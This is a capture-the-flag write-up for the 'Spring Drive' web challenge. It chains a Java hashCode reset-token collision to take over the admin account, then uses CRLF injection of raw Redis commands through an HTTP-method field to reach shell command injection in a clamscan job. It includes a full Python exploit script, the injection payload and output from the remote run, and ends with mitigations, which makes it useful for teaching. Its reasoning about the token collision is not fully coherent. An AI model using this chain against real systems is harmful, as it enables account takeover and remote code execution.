//HeroCTF 2025 – Spring Drive
Author: xanhacks
Category: Web
Format: ^Hero{\S+}$
>TL;DR
A crafted email address with Java's hashCode() equal to hash("admin@example.com") - 1 makes the buggy ResetPasswordToken.equals() treat our token as the admin's. With admin privileges we abuse the insecure /file/remote-upload endpoint: it forwards a user-supplied HTTP method to OkHttp, so we inject raw RESP commands and talk to Redis locally. Anything pushed into the clamav_queue later becomes part of clamscan --quiet '<entry>', giving command execution. Using that we read /app/flag_* and capture Hero{8be9845ab07c17c7f0c503feb0d91184} both locally and on the remote instance.
>Environment Setup
# unzip challenge
unzip spring_drive.zip
cd spring_drive
# build docker image
sudo docker build -t spring-drive .
# run locally (required nohup format from the challenge statement)
nohup docker run --rm -p 127.0.0.1:8080:80 --name spring-drive spring-drive \\
>> docker.log 2>&1 &
There is a Svelte frontend (static) and a Spring Boot backend running behind nginx (/api). PostgreSQL stores users, Redis feeds ClamAV, and a cron’ed ClamAV scan periodically dequeues clamav_queue entries, executing them via clamscan --quiet '<item>' through /bin/sh -c.
>Vulnerability 1 – Reset Token Collisions
The password-reset flow stores tokens in ResetPasswordStorage (in-memory). Tokens are UUID|userId. The custom equals() compares token.split("|")[0] and hashCode(), but ignores the user ID:
@Override
public boolean equals(Object o) {
return this.token.split("\\|")[0].equals(((ResetPasswordToken) o).token.split("\\|")[0])
&& this.hashCode() == o.hashCode();
}
hashCode() of a string is just Java's polynomial hash. Thus two tokens with the same UUID string but different |userId collide if the entire string hashes the same. Because we control our own email, we can search for an email whose hashCode() equals hash("admin@example.com") - 1. When we register first, we receive user ID 2. Our token looks like UUID|2, and the admin token is UUID|1. The equals() call strips the suffix and only sees the shared UUID; identical hashes cause contains() to succeed, so supplying UUID|1 resets the admin password.
To find such an email, note that hash("admin@example.com") = -2003659892. We need any string s whose hash equals admin_hash - 1. Using base-31 arithmetic we can synthesize a printable 8-character string: achegglx.
>Vulnerability 2 – Remote Upload → Redis SSRF → ClamAV RCE
/file/remote-upload allows the admin to fetch arbitrary URLs using OkHttp:
Request request = new Request.Builder()
.url(remoteUrl)
.method(method, null) // ← user-controlled
.build();
The code never validates method, so we can inject CRLF and craft a raw RESP payload for Redis by pointing url to http://127.0.0.1:6379/. Example payload (line breaks shown as \r\n):
*3
$5
RPUSH
$12
clamav_queue
$27
';bash -c "id > /tmp/rce";#
GET
Redis happily queues that string. When the scheduled ClamAVService runs, it executes:
String command = String.format("clamscan --quiet '%s'", filePath);
ProcessBuilder("/bin/sh", "-c", command).start();
So anything inside the queue entry becomes a shell snippet, granting command execution as the app user.
>Local Exploitation Walkthrough
-
Craft collision email:
achegglx(same hash offset) – done via helper code inexploit.py. -
Register first user: ensures user ID 2 so that
UUID|2is produced. -
Send reset email:
POST /api/auth/send-password-reset→ token logged to/tmp/emails.txt. -
Forge admin token: reuse UUID, change suffix to
|1, call/api/auth/reset-passwordforadmin@example.com. -
Login as admin:
POST /api/auth/login→ session cookie. -
Trigger RCE: call
/api/file/remote-uploadwithurl=http://127.0.0.1:6379/and the crafted RESP payload. -
Wait for cron: after ~60 seconds,
clamscanruns our command. Reading/tmp/emails.txt(or/api/auth/email) shows the fake flag appended.
Verification inside the container:
# after cron
sudo docker exec spring-drive ls /tmp
sudo docker exec spring-drive cat /tmp/rce
sudo docker exec spring-drive cat /tmp/emails.txt
We confirmed uid=1000(app) and the local placeholder flag HEROCTF_FAKE_FLAG.
>Automation – exploit.py
The script wires all steps together, handles collision generation, waits for the scheduler, and prints any new lines spotted in /auth/email.
#!/usr/bin/env python3
import argparse
import random
import string
import sys
import time
from typing import List
import requests
ADMIN_EMAIL = "admin@example.com"
MOD = 2 ** 32
def java_hash(value: str) -> int:
h = 0
for ch in value:
h = (31 * h + ord(ch)) & 0xFFFFFFFF
if h & 0x80000000:
h -= 0x100000000
return h
def string_for_hash(target_hash: int, length: int = 8, base_char: str = 'a') -> str:
base = ord(base_char)
sum31 = 0
power = 1
for _ in range(length):
sum31 += power
power *= 31
constant = (base * sum31) % MOD
prime = (target_hash - constant) % MOD
chars: List[str] = []
for exp in reversed(range(length)):
power = 31 ** exp
digit = prime // power
chars.append(chr(base + digit))
prime -= digit * power
candidate = ''.join(chars)
hashed = java_hash(candidate)
expected = target_hash if target_hash <= 0x7FFFFFFF else target_hash - MOD
if hashed != expected:
raise ValueError("Failed to craft email with desired hash")
return candidate
def extract_token(lines: List[str], needle: str) -> str:
for line in reversed(lines):
if needle in line:
token_part = line.split('token=')[1].split(',')[0]
return token_part
raise RuntimeError("Could not find password reset token in email log")
def get_email_log(base_url: str) -> List[str]:
resp = requests.get(
f"{base_url}/auth/email",
headers={'Cache-Control': 'no-cache', 'Pragma': 'no-cache'},
)
resp.raise_for_status()
data = resp.json()
if data.get('status') != 'success':
raise RuntimeError(f"Unexpected response from /auth/email: {data}")
return data.get('data') or []
def main():
parser = argparse.ArgumentParser(description="Spring Drive exploit")
parser.add_argument('--base', default='http://127.0.0.1:8080/api',
help='Base URL of the API (default: %(default)s)')
parser.add_argument('--wait', type=int, default=90,
help='Seconds to wait for the ClamAV cron job (default: %(default)s)')
args = parser.parse_args()
base_url = args.base.rstrip('/')
admin_hash = java_hash(ADMIN_EMAIL)
target_hash = (admin_hash - 1) & 0xFFFFFFFF
crafted_email = string_for_hash(target_hash)
username = 'user' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=4))
password = 'Password1!'
print(f"[*] Using crafted email '{crafted_email}' (hash(admin) - 1)")
user_session = requests.Session()
resp = user_session.post(f"{base_url}/auth/register", json={
'username': username,
'email': crafted_email,
'password': password,
'confirmPassword': password,
})
resp.raise_for_status()
reg_data = resp.json()
if reg_data.get('status') != 'success':
raise RuntimeError(f"Registration failed: {reg_data}")
print(f"[+] Registered user {username}")
profile = user_session.get(f"{base_url}/user/profile").json()
user_id = (profile.get('data') or {}).get('id')
print(f"[*] User ID: {user_id}")
resp = user_session.post(f"{base_url}/auth/send-password-reset", json={'email': crafted_email})
resp.raise_for_status()
print(f"[+] Requested password reset: {resp.json()}")
initial_log = get_email_log(base_url)
token = extract_token(initial_log, crafted_email)
prefix = token.split('|')[0]
forged = f"{prefix}|1"
print(f"[+] Forged admin token: {forged}")
resp = requests.post(f"{base_url}/auth/reset-password", json={
'email': ADMIN_EMAIL,
'token': forged,
'password': password,
})
resp.raise_for_status()
print(f"[+] Reset admin password: {resp.json()}")
admin_session = requests.Session()
resp = admin_session.post(f"{base_url}/auth/login", json={'username': 'admin', 'password': password})
resp.raise_for_status()
print(f"[+] Logged in as admin")
command = "';bash -c \"cat /app/flag_* >> /tmp/emails.txt && echo >> /tmp/emails.txt\";#"
method = (
f"*3\r\n$5\r\nRPUSH\r\n$12\r\nclamav_queue\r\n${len(command)}\r\n"
f"{command}\r\nGET"
)
payload = {
'url': 'http://127.0.0.1:6379/',
'filename': 'noop',
'httpMethod': method,
}
resp = admin_session.post(f"{base_url}/file/remote-upload", json=payload)
print(f"[+] Triggered Redis SSFR: {resp.status_code}")
print(f"[*] Waiting {args.wait} seconds for scheduler...")
time.sleep(args.wait)
final_log = get_email_log(base_url)
new_entries = final_log[len(initial_log):]
if not new_entries:
print("[-] No new entries found in fake email inbox")
else:
print("[+] New email entries:")
for line in new_entries:
print(line)
if __name__ == '__main__':
try:
main()
except Exception as exc:
print(f"[-] Exploit failed: {exc}")
sys.exit(1)
>Remote Success
Target: http://dyn01.heroctf.fr:10367/api
python3 exploit.py --base http://dyn01.heroctf.fr:10367/api --wait 120
Output:
[*] Using crafted email 'achegglx' (hash(admin) - 1)
[+] Registered user user8tcm
[+] Requested password reset …
[+] Forged admin token: 81001660-be01-4408-a63f-abb454dfd8cd|1
[+] Reset admin password …
[+] Logged in as admin
[+] Triggered Redis SSFR: 200
[*] Waiting 120 seconds for scheduler...
[+] New email entries:
Hero{8be9845ab07c17c7f0c503feb0d91184}
Raw /auth/email response (hex dump) confirmed the flag appended after the reset token line.
>Mitigations
-
Fix token equality: use constant-time comparison of full token (including user ID) and store tokens with per-user mapping instead of an
ArrayList. -
Store tokens in DB: current in-memory store disappears on restart; persisting also allows revocation.
-
Validate HTTP method: whitelist
GET,POSTbefore calling OkHttp; never allow CR/LF. -
Do not pass user-controlled strings to
sh -c: either invoke ClamAV through direct arguments or escape the path viaProcessBuilder(command, filePath). -
Least privilege: run Redis and ClamAV in isolated containers/namespaces.
>Flag
Hero{8be9845ab07c17c7f0c503feb0d91184}
Happy hacking!